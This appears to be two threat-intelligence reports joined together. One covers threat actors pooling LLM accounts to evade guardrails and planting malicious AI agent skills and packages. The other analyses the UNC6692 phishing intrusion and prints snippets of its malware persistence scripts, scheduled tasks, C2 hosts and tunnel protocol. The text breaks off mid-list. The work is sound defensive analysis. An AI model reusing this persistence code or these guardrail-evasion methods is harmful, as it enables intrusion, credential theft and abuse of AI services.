AI-Augmented Information Operations

GTIG continues to observe information operations (IO) actors use AI for common productivity tasks like research, content creation, and localization. We have also identified activity indicating threat actors solicit the tool to help craft articles, generate assets, and assist in coding. However, we have not identified this generated content in the wild, and none of these attempts have created breakthrough capabilities for IO campaigns. 

Actors from Russia, Iran, China, and Saudi Arabia are producing political satire and materials to advance specific narratives across both digital platforms and physical media, such as printed posters. The primary advances we have seen in this area include actors appearing more successful in developing tooling in support of their workflows and the growing adoption of AI-generated narrative audio to address contentious political topics. 

AI to Support IO Tactics

GTIG’s tracking of IO threats across the open internet continues to uncover activity illustrating how threat actors use AI tooling to enhance established tactics. For example, GTIG uncovered activity linked to the pro-Russia IO campaign “Operation Overload,” involving video content that leveraged suspected AI voice cloning to impersonate real journalists. This likely represents an AI-supported advancement of the campaign's established tactics, which have long included inauthentic video content designed to appropriate the branding and legitimacy of media and other high profile organizations in support of campaign messaging. 

In identified instances, the actors appear to have manipulated an authentic video to convey a false message. This content appears to splice original vertical videos with montages and fabricated audio to create false and misleading messaging. The close voice match to the original suggests the use of AI tools (Figure 7).

Obfuscated and Scalable Access to LLMs

As the generative AI landscape matures, the methods by which threat actors procure and operationalize these models have shifted from simple experimentation to industrial-scale consumption. Although in prior blog posts we have highlighted AI tools and services offered in the underground, we continue to observe both state-sponsored and cyber crime threat actors leveraging commercially available foundation models and AI-native application building platforms in their pursuit of malicious activity. 

In threat actor engagement with these tools, GTIG has observed a sophisticated evolution to an emerging ecosystem of custom middleware, proxy relays, and automated registration pipelines designed to bypass safety guardrails and billing constraints. By leveraging anti-detect browsers and account-pooling services, actors are attempting to maintain high-volume, anonymized access to premium LLM tiers, effectively industrializing their adversarial workflows while subsidizing their operations through trial abuse and programmatic account cycling.

In our analysis of PRC-nexus threat activity associated with UNC6201, we observed attempted use of a publicly available Python script hosted on GitHub that automates a workflow to register and immediately cancel premium LLM accounts. The tool allegedly supports the entire process from automatic account registration, CAPTCHA bypassing, and SMS verification to account status confirmation and cancellation. This process highlights the methods adversaries leverage to procure high-tier AI capabilities at scale while insulating their malicious activity from account bans.

We have observed similar activity from UNC5673, a PRC-nexus threat cluster that has notable overlaps with TEMP.Hex and that has targeted government sectors primarily in South and Southeast Asia. Beyond LLM account registration, the actor has leveraged an array of publicly available commercial tools and GitHub projects that indicate the development of obfuscated and scalable LLM abuse. For example, they employ "Claude-Relay-Service" to aggregate multiple Gemini, Claude, and OpenAI accounts, enabling account pooling and cost-sharing. Similarly, they use "CLI-Proxy-API," a proxy server that provides compatible API interfaces for various models to support similar account pooling strategies.

To mitigate the nature of this obfuscation, LLM providers can build signal logic to analyze network infrastructure data associated with AI-related API aggregators. This data helps to enable the disruption efforts we highlight in this report.

AI as a Target

As organizations continue integrating large language models (LLMs) into production environments, the AI software ecosystem has emerged as a primary target for exploitation. While frontier models themselves remain highly resilient to direct compromise, the orchestration layers, including open-source wrapper libraries, API connectors, and skill configuration files, can be vulnerable. GTIG has observed adversaries increasingly target the integrated components that grant AI systems their utility, such as autonomous skills and third-party data connectors.

Supply Chain Attacks Against AI Components

Throughout early 2026, we observed that threat actors have not yet achieved breakthrough capabilities to bypass the core security logic of frontier models. Instead, these actors are leveraging traditional supply chain tactics, such as embedding malicious logic in popular integration libraries or distributing trojanized configuration files, to gain initial access to production AI environments. These incidents often align with risks described in the Secure AI Framework (SAIF) taxonomy, specifically:

• Insecure Integrated Component (IIC): Inclusion of compromised external dependencies that undermine the system.

• Rogue Actions (RA): Exploitation of AI systems with elevated permissions to execute unauthorized commands or exfiltrate credentials.

Weaponized OpenClaw Skills

These risks became more apparent in early February 2026, when VirusTotal researchers reported on security risks associated with the OpenClaw AI agent ecosystem, including AI software supply chain risks and vulnerabilities introduced via malicious and insecure skill packages. Most notably, we observed the distribution of malicious packages masquerading as OpenClaw skills containing hidden routines designed to execute unauthorized code and commands on the host system. Given the elevated level of system access that OpenClaw is granted, a skill could be used to perform various privileged actions such as executing code, downloading additional payloads, and discovering and exfiltrating local data.

Further, even if not inherently malicious, insecure packages could expose users to additional risks. Legitimate skills that fail to leverage secure practices when handling sensitive information, such as credentials or authentication information, could inadvertently expose this information to attackers. This could make this information susceptible to theft by techniques like prompt injection, other malicious skills, or traditional malware threats like infostealers.  

While the risk of malicious or insecure skills and agent components are not unique to the OpenClaw platform, the discovery of these packages highlights the growing attack surface among AI development platforms and the agentic ecosystem more broadly. Further, the difficulty in identifying and discerning malicious packages from legitimate skills presents significant challenges for defenders. Although this infection vector is opportunistic by nature, the ease by which these skills can be created and distributed could make it an attractive option for a myriad of threat actors seeking access to users’ systems.

To help mitigate these supply-chain risks, OpenClaw has partnered with VirusTotal to integrate automated security scanning directly into ClawHub, its public skill marketplace. Every skill published to the repository is now automatically analyzed using VirusTotal's Code Insight capability, which evaluates the package's actual code behavior to detect unauthorized network operations, malicious payloads, or unsafe embedded instructions. Based on this security-focused analysis, skills are either approved as benign, flagged with user warnings, or blocked entirely, providing an essential layer of defense against ecosystem abuse.

Compromised Code Packages

In late March 2026, the cyber crime threat actor "TeamPCP" (aka UNC6780) claimed responsibility for multiple supply chain compromises of popular GitHub repositories and associated GitHub Actions, including those associated with the Trivy vulnerability scanner, Checkmarx, LiteLLM, and BerriAI. Mandiant responded to numerous incident response engagements associated with this activity, highlighting the wide-impact nature of supply chain operations.

TeamPCP gained initial access through compromised PyPI packages and malicious pull requests to these GitHub repositories. The threat actor subsequently leveraged their access to these GitHub repositories to embed the SANDCLOCK credential stealer and extract high-value cloud secrets, such as AWS keys and GitHub tokens, directly from affected build environments. These stolen credentials were then monetized through partnerships with ransomware and data theft extortion groups.

The compromise of LiteLLM, an AI gateway utility for integrating multiple LLM providers is noteworthy. It highlights the expanding attack surface of AI platforms and the potential for impact across the software supply chain. Given the package's widespread use, this incident could lead to considerable exposure of AI API secrets from affected victims, which could be used to gain further access to systems for traditional intrusion operations. 

Moreover, similar attacks against AI-related dependencies could grant attackers access to unique AI systems, allowing them to conduct novel AI-centric attacks and leverage them in support of traditional intrusion operations. Attackers could leverage this vector not only to pivot to enterprise infrastructure for traditional financially motivated operations (e.g., data theft and ransomware) but also to directly facilitate their operations using AI systems. For example, threat actors with access to an organization’s AI systems could leverage internal models and tools to identify, collect, and exfiltrate sensitive information at scale or perform reconnaissance tasks to move deeper within a network. While the level of access and particular use depends heavily on the organization and the specific compromised dependency, this case study demonstrates the broadened landscape of software supply chain threats to AI systems.

Building AI Safely and Responsibly

We believe our approach to AI must be both bold and responsible. That means developing AI in a way that maximizes the positive benefits to society while addressing the challenges. Guided by our AI Principles, Google designs AI systems with robust security measures and strong safety guardrails, and we continuously test the security and safety of our models to improve them. 

Our policy guidelines and prohibited use policies prioritize safety and responsible use of Google's generative AI tools. Google's policy development process includes identifying emerging trends, thinking end-to-end, and designing for safety. We continuously enhance safeguards in our products to offer scaled protections to users across the globe.  

At Google, we leverage threat intelligence to disrupt adversary operations. We investigate abuse of our products, services, users, and platforms, including malicious cyber activities by government-backed threat actors, and work with law enforcement when appropriate. Moreover, our learnings from countering malicious activities are fed back into our product development to improve safety and security for our AI models. These changes, which can be made to both our classifiers and at the model level, are essential to maintaining agility in our defenses and preventing further misuse.

Google DeepMind also develops threat models for generative AI to identify potential vulnerabilities and creates new evaluation and training techniques to address misuse. In conjunction with this research, Google DeepMind has shared how they're actively deploying defenses in AI systems, along with measurement and monitoring tools, including a robust evaluation framework that can automatically red team an AI vulnerability to indirect prompt injection attacks. 

Our AI development and Trust & Safety teams also work closely with our threat intelligence, security, and modelling teams to stem misuse.

The potential of AI, especially generative AI, is immense. As innovation moves forward, the industry needs security standards for building and deploying AI responsibly. That's why we introduced the Secure AI Framework (SAIF), a conceptual framework to secure AI systems. We've shared a comprehensive toolkit for developers with resources and guidance for designing, building, and evaluating AI models responsibly. We've also shared best practices for implementing safeguards, evaluating model safety, red teaming to test and secure AI systems, and our comprehensive prompt injection approach.

Working closely with industry partners is crucial to building stronger protections for all of our users. To that end, we're fortunate to have strong collaborative partnerships with security experts via the Coalition for Secure AI (CoSAI) and numerous researchers. We appreciate the work of these researchers and others in the community to help us red team and refine our defenses.

Google also continuously invests in AI research, helping to ensure AI is built responsibly, and that we're leveraging its potential to automatically find risks. Last year, we introduced Big Sleep, an AI agent developed by Google DeepMind and Google Project Zero, that actively searches and finds unknown security vulnerabilities in software. Big Sleep has since found its first real-world security vulnerability and assisted in finding a vulnerability that was imminently going to be used by threat actors, which GTIG was able to cut off beforehand. We're also experimenting with AI to not only find vulnerabilities, but also patch them. We recently introduced CodeMender, an experimental AI-powered agent using the advanced reasoning capabilities of our Gemini models to automatically fix critical code vulnerabilities.

About the Authors

Google Threat Intelligence Group focuses on identifying, analyzing, mitigating, and eliminating entire classes of cyber threats against Alphabet, our users, and our customers. Our work includes countering threats from government-backed actors, targeted zero-day exploits, coordinated IO, and serious cyber crime networks. We apply our intelligence to improve Google's defenses and protect our users and customers.

Appendix

MITRE ATLAS

MITRE ATT&CK

Written by: JP Glab, Tufail Ahmed, Josh Kelley, Muhammad Umair

Introduction 

Google Threat Intelligence Group (GTIG) identified a multistage intrusion campaign by a newly tracked threat group, UNC6692, that leveraged persistent social engineering, a custom modular malware suite, and deft pivoting inside the victim’s environment to achieve deep network penetration. 

As with many other intrusions in recent years, UNC6692 relied heavily on impersonating IT helpdesk employees, convincing their victim to accept a Microsoft Teams chat invitation from an account outside their organization. The UNC6692 campaign demonstrates an interesting evolution in tactics, particularly the use of social engineering, custom malware, and a malicious browser extension, playing on the victim’s inherent trust in several different enterprise software providers. 

Threat Details

In late December 2025, UNC6692 conducted a large email campaign designed to overwhelm the target with messages, creating a sense of urgency and distraction. Following this, the attacker sent a phishing message via Microsoft Teams, posing as helpdesk personnel offering assistance with the email volume.

Infection Chain

The victim was contacted through Microsoft Teams and was prompted to click a link to install a local patch that prevents email spamming. Once clicked, the user’s browser opened an HTML page and ultimately downloaded a renamed AutoHotKey binary and an AutoHotkey script, sharing the same name, from a threat actor-controlled AWS S3 bucket.

"url": "https://service-page-25144-30466-outlook.s3.us-west-2.amazonaws.com/update.html?email=<redacted>.com",
"description": "Microsoft Spam Filter Updates | Install the local patch to protect your account from email spamming",

Figure 1: Snippet from MS Team Logs

If the AutoHotkey binary is named the same as a script file in its current directory, AutoHotkey will automatically run the script with no additional command line arguments. Evidence of AutoHotKey execution was recorded immediately following the downloads resulting in initial reconnaissance commands and the installation of SNOWBELT, a malicious Chromium browser extension (not distributed through the Chrome Web Store). Mandiant was unable to recover the initial AutoHotKey script. 

The persistence of SNOWBELT was established in multiple ways. First, a shortcut to an AutoHotKey script was added to the Windows Startup folder, which verified SNOWBELT was running and that a Scheduled Task was present.

if !CheckHeadlessEdge(){
   try{
      taskService:=ComObject("Schedule.Service")
      taskService.Connect()
      rootFolder:=taskService.GetFolder("\")
      if FindAndRunTask(rootFolder){
         Sleep 10000
         if CheckHeadlessEdge(){
         ExitApp
         }
      }
   }
   Run 'cmd /c start "" "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --user-data-dir="%LOCALAPPDATA%\Microsoft\Edge\System Data" --headless=new --load-extension="%LOCALAPPDATA%\Microsoft\Edge\Extension Data\SysEvents" --no-first-run',,"Hide"
}
ExitApp

Figure 2: Snippet from AutoHotKey script to verify SNOWBELT was running and to start it if not

Second, two additional scheduled tasks were installed. One task to start a windowless Microsoft Edge process that loads the SNOWBELT extension and another to identify and terminate Microsoft Edge processes that do not have CoreUIComponents.dll loaded.

<Exec>
    <Command>
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
    </Command>
    <Arguments>
       --user-data-dir="C:\Users\<redacted>\AppData\Local\Microsoft\Edge\System Data"  
       --no-first-run   
       --load-extension="C:\Users\<redacted>\AppData\Local\Microsoft\Edge\Extension Data\SysEvents"   
       --headless=new --disable-sync
    </Arguments>
</Exec>

Figure 3: Snippet from the scheduled task to start the SNOWBELT extension windowless Microsoft Edge

Microsoft Edge processes without CoreUIComponents.dll are typically headless. The threat actor uses this command to essentially “clean up” headless Edge processes that execute their malware.

<Exec>
    <Command>cmd</Command>
    <Arguments>
    /c "for /f "tokens=2" %p in ('tasklist /M SHELL32.dll ^| findstr "msedge.exe"') do @(tasklist /M CoreUIComponents.dll | findstr "%p" >nul || taskkill /F /PID %p)"
    </Arguments>
</Exec>

Figure 4: Snippet from the scheduled task to check for CoreUIComponents.dll

Using the SNOWBELT extension, UNC6692 downloaded additional files including SNOWGLAZE, SNOWBASIN, AutoHotkey scripts, and a ZIP archive containing a portable Python executable and required libraries.

Internal Recon and Lateral Movement

After gaining initial access, process execution telemetry recorded UNC6692 using a Python script to scan the local network for ports 135, 445, and 3389. Following internal port scanning, the threat actor established a Sysinternals PsExec session to the victims system via the SNOWGLAZE tunnel, and executed commands to enumerate local administrator accounts. Using the local administrator account, the threat actor initiated an RDP session via the SNOWGLAZE tunnel from the victim system to a backup server. Though not directly observed, the threat actor may have acquired the local administrator accounts credentials via multiple attack paths such as authenticated Server Message Block (SMB) share enumeration.

Escalate Privileges

After gaining access to the backup server the threat actor utilized the local administrator account to extract the system's LSASS process memory with Windows Task Manager. Microsoft Windows Local Security Authority Subsystem Service (LSASS) process lsass.exe enforces security policy and contains usernames, passwords and hashes for accounts that have accessed the system. After extracting the process memory, UNC6692 exfiltrated it via LimeWire. With the process memory out of the victim environment UNC6692 is able to use offensive security tools to extract the credentials while not having to worry about being detected. 

Complete Mission

Now armed with the password hashes of elevated users, UNC6692 used Pass-The-Hash to move laterally to the network's domain controllers. Pass-The-Hash is a common technique used by threat actors where the NTLM hash is passed to another system, instead of providing the account password, allowing for authentication via NTLM. Once authenticated to the Domain Controller, the threat actor opened Microsoft Edge, and downloaded a ZIP archive containing FTK Imager to the Domain Administrator’s \Downloads folder. The threat actor executed FTK Imager and mounted the local storage drive. Subsequently, FTK Imager wrote the Active Directory database file (NTDS.dit), Security Account Manager (SAM) , SYSTEM, and SECURITY registry hives to the \Downloads folder. The extracted files were then exfiltrated from the network via LimeWire. Finally, EDR telemetry logged the threat actor performing screen captures on the Domain Controllers, specifically targeting in-focus instances of Microsoft Edge and FTK Imager.

THE SNOW Ecosystem

Phishing Landing Page

The original phishing link (https://service-page-25144-30466-outlook.s3.us-west-2.amazonaws.com/update.html?email=<redacted>.com) delivered via Microsoft Teams directs the victim to a landing page masquerading as a "Mailbox Repair Utility." This interface is designed to elicit user engagement through various on-screen buttons.

Phase 1: Environment Enforcement and Anti-Analysis

The attacker used a gatekeeper script designed to ensure the payload is delivered only to intended targets while evading automated security sandboxes. Upon loading, the landing page executes an init() function that inspects the URL for a mandatory ?email= parameter. If this parameter is absent, the page immediately redirects to about:blank. 

The script also checks the victim’s browser. If the user is not using Microsoft Edge, the page displays a persistent overlay warning. This forces the user to click an "Open in Edge" button, which triggers the microsoft-edge: URI scheme. This ensures the victim is moved from potentially secure mobile or third-party browser environments into a specific workspace where the attacker’s exploits are most effective.

Phase 2: Credential Harvesting via Social Engineering

Once the environment is established, the page presents a professional-looking "Configuration Management Panel" masquerading as an official "Mailbox Repair and Sync Utility." The primary hook is a "Health Check" button that, when clicked, triggers an "Authentication Required" modal.

The harvesting script, handleAuthFormSubmit, employs a "double-entry" psychological trick. It is programmed to reject the first and second password attempt as incorrect. This serves two functions: it reinforces the user’s belief that the system is legitimate and performs real-time validation, and it ensures that the attacker captures the password twice, significantly reducing the risk of a typo in the stolen data. A screenshot of authentication is shown in Figure 7, and the email supplied is entered by default.

Phase 3: Data Exfiltration and Distraction Sequences

Upon successful submission, the script executes an asynchronous PUT request using AWS URLs. The validated credentials and metadata are uploaded directly to an attacker-controlled Amazon S3 bucket (e.g., service-page-18968-2419-outlook.s3.us-west-2.amazonaws.com), which have since been taken down. These buckets serve as the command and control (C2) infrastructure and represent critical indicators of compromise (IOCs).

To mask this background activity and prevent user suspicion, the script initiates a startProgressBar function. This displays a scripted distraction sequence featuring fake technical tasks such as "Parsing configuration data" and "Checking mailbox integrity." This manipulation keeps the victim engaged until the data transfer is complete.

Phase 4: Malware Staging and Endpoint Foothold

The final stage involves the delivery of secondary malicious payloads referenced within the CONFIG object of the script. While the progress bar runs, the site is prepared to deliver files seen in Table 1.

By the time the user receives a "Configuration completed successfully" message, the attacker has secured the credentials and potentially established a persistent foothold on the endpoint using these staged files.

The SNOW malware ecosystem, attributed to the threat cluster UNC6692, operates as a modular ecosystem comprising three primary components: SNOWBELT, SNOWGLAZE, and SNOWBASIN. Rather than functioning as isolated tools, these components form a coordinated pipeline that facilitates an attacker's journey from initial browser-based access to the internal network of the organization.

1.SNOWBELT (Browser Extension)

SNOWBELT serves as the initial foothold and the primary "eyes" of the operation. It is a JavaScript-based backdoor delivered as a Chromium browser extension, often masquerading under names like "MS Heartbeat" or "System Heartbeat".  Rather than being available through the Chrome Web Store, the extension is deployed through social engineering tactics.

• Role: It is designed to intercept commands and send them to SNOWBASIN for execution . It maintains persistence via the browser's extension registration system and uses Service Worker Alarms and Keep-Alive Tab Injection (via helper.html) to ensure it remains active whenever the browser is running.

• Functionality: By relaying commands from the threat actor to SNOWBASIN, SNOWBELT provides authenticated access to the environment. This allows the attacker to move laterally and escalate privileges without the need for constant re-authentication.

2.SNOWGLAZE (Python Tunneler)

Once a foothold is established, SNOWGLAZE is deployed to manage the logistics of external communication. SNOWGLAZE is a Python-based tunneler that can operate in both Windows and Linux environments.

• Role: Its primary function is to create a secure, authenticated WebSocket tunnel between the victim's internal network and the attacker's command-and-control (C2) infrastructure, such as a Heroku subdomain. It facilitates SOCKS proxy operations, allowing arbitrary TCP traffic to be routed through the infected host.

• Functionality: SNOWGLAZE masks malicious traffic by wrapping data in JSON objects and Base64 encoding it for transfer via WebSockets. This makes the activity appear as standard encrypted web traffic. When attackers wish to interact with backdoors like SNOWBASIN or exfiltrate staged data, traffic is routed through this established tunnel.

3.SNOWBASIN (Python Bindshell)

While SNOWBELT monitors the user and SNOWGLAZE bridges the network gap, SNOWBASIN provides the functional interactive control over the infected system.

• Role: It acts as a persistent backdoor that operates as a local HTTP server (typically listening on port 8000). It enables remote command execution via cmd.exe or powershell.exe, screenshot capture, and data staging for exfiltration.

• Functionality: This component is where active reconnaissance and mission completion occur. Attacker commands (such as whoami or net user) are sent through the SNOWGLAZE tunnel, intercepted by the SNOWBELT extension, and then proxied to the SNOWBASIN local server via HTTP POST requests. SNOWBASIN executes these commands and relays the results back through the same pipeline to the attacker.

Malware Analysis 

SNOWBELT

SNOWBELT is a JavaScript-based backdoor implemented as a Chromium browser extension. Its lifecycle begins with the execution of the background.js Service Worker upon installation, which leverages the browser's extension registration system for persistence. To ensure continuous operation while the browser is active, the malware utilizes Service Worker Alarms (agent-heartbeat) and Keep-Alive Tab Injection (helper.html).

Upon initialization, the malware generates a unique identity using the prefix fp-sw- followed by a UUID. It then employs a time-based DGA to calculate C2 URLs. Using a hard-coded seed value (691f7258f212fa8908a8bf06bcf9e027d2177276e13e10ff56bd434ff3755cc4), it generates a registry URL for an S3 bucket within 30-minute time slots. These URLs follow a specific structural pattern:

• https://[a-f0-9]{24}-[0-9]{6,7}-{0-9}{1}.s3.us-east-2.amazonaws[.]com

The manifest retrieved from this registry is decrypted via AES-GCM using a key derived from SHA256(SEED + "|" + timeslot).

For low-latency C2, SNOWBELT registers with the browser's Push Notification service. This is achieved using a hard-coded VAPID Public Key:

BJkWCT45mL0uvV3AssRaq9Gn7iE2N7Lx38ZmWDFCjwhz0zv0QSVhKuZBLTTgAijB12cgzMzqyiJZr5tokRzSJu0

This setup provides an asynchronous channel that allows attackers to "wake up" the Service Worker immediately via authenticated Push messages, bypassing standard polling. Additionally, the malware supports real-time interaction through a persistent REGISTRY_WEBSOCKET_URL connection.

SNOWBELT functions in coordination with SNOWBASIN, a backdoor acting as a local web server (typically on port 8000). It relays decrypted C2 commands—such as command, buffer, flush, and commit—to SNOWBASIN via HTTP POST requests, effectively proxying shell commands to the host system.

The malware also includes mechanisms to bypass the browser sandbox:

1. Native Host Bridge (open_native_messaging): Uses chrome.runtime.connectNative to establish I/O pipes with local applications for issuing privileged commands.

2. Protocol Handler Abuse (open_uri): Employs dream.html and dream.js to trigger custom URI schemes in new tabs, targeting vulnerabilities in third-party desktop applications.

Exfiltration is managed by the sendJsonDataToS3 function, which encrypts data with AES-GCM (Key: SHA256(SEED + "|ping|" + bucket + "|" + objectKey)) before uploading to S3. The backdoor's command set is summarized in Table 2.

Finally, SNOWBELT implements a feedback loop by monitoring chrome.downloads.onChanged. If a download is blocked (e.g., FILE_VIRUS_INFECTED), the malware reports the error back to the S3-based C2.

SNOWBASIN 

SNOWBASIN is a Python-based backdoor that operates as a local HTTP server on ports 8000, 8001, or 8002. Its core capabilities include command execution, screenshot capture, and data exfiltration. The malware also enables operators to manage files by downloading or deleting them, and it provides the capability to terminate active connections. SNOWBELT relays commands to this malware by sending HTTP requests to localhost:8000.

It turns the victim's computer into a command-and-control (C2) node that can be controlled via HTTP requests. It is designed to run on Windows (evidenced by os.chdir('C:\\') and cmd.exe calls) and allows a remote actor to execute commands, steal files, and take screenshots.

SNOWGLAZE

The network tunneler SNOWGLAZE, developed in Python, facilitates the routing of arbitrary TCP traffic through a compromised system by establishing a WebSocket connection to a static C2 host using hard-coded credentials.

The script is designed for cross-platform execution on both Windows and Linux, utilizing environment-specific behaviors for each. In Windows environments, it runs as a foreground process manageable via standard keyboard interrupts (Ctrl-C). Conversely, on Linux, it operates as a background daemon and includes specific logic to handle SIGINT and SIGTERM signals for orderly shutdowns.

To establish communication, the malware targets the C2 server at wss://sad4w7h913-b4a57f9c36eb[.]herokuapp[.]com:443/ws, masquerading its traffic with a Microsoft Edge User-Agent string. If the initial connection fails, the script employs an incremental backoff strategy, starting at 5 seconds and increasing by 5-second intervals up to a 300-second maximum. Upon a successful WebSocket handshake, it transmits the following Auth payload:

{
    "type": "auth",
    "login": "<redacted",
    "password": "<redacted",
    "uuid": "<redacted>"
}

Following authentication, the script sends a "register" type message with no payload, followed by an "agent_info" JSON record. Although the "info" field within this record is intended to carry the public IP address, it remains unpopulated due to improper implementation in the script.

Once fully connected, the malware listens for JSON-formatted commands. The supported "type" values include:

• ping

• Prompts the script to return a "type": "pong" JSON object.

• agent_public_ip

• Intended to report the host's public IP via an agent_info structure; however, the IP field is consistently blank in current versions.

• socks_connect

• Requests a new SOCKS proxy connection using a unique conn_id provided by the operator to track the session. The request format is as follows:

{
    "type": "socks_connect",
    "conn_id": "<unique_connection_id>",
    "target_host": "example.com",
    "target_port": 80
}

• • Execution triggers an asynchronous worker thread that manages the TCP-to-WebSocket data transfer, utilizing Base64 encoding and JSON encapsulation with the socks_data type.

• socks_data

  • Facilitates bidirectional data exchange between the WebSocket and the TCP socket. Data is Base64-encoded within the data field of the following structure: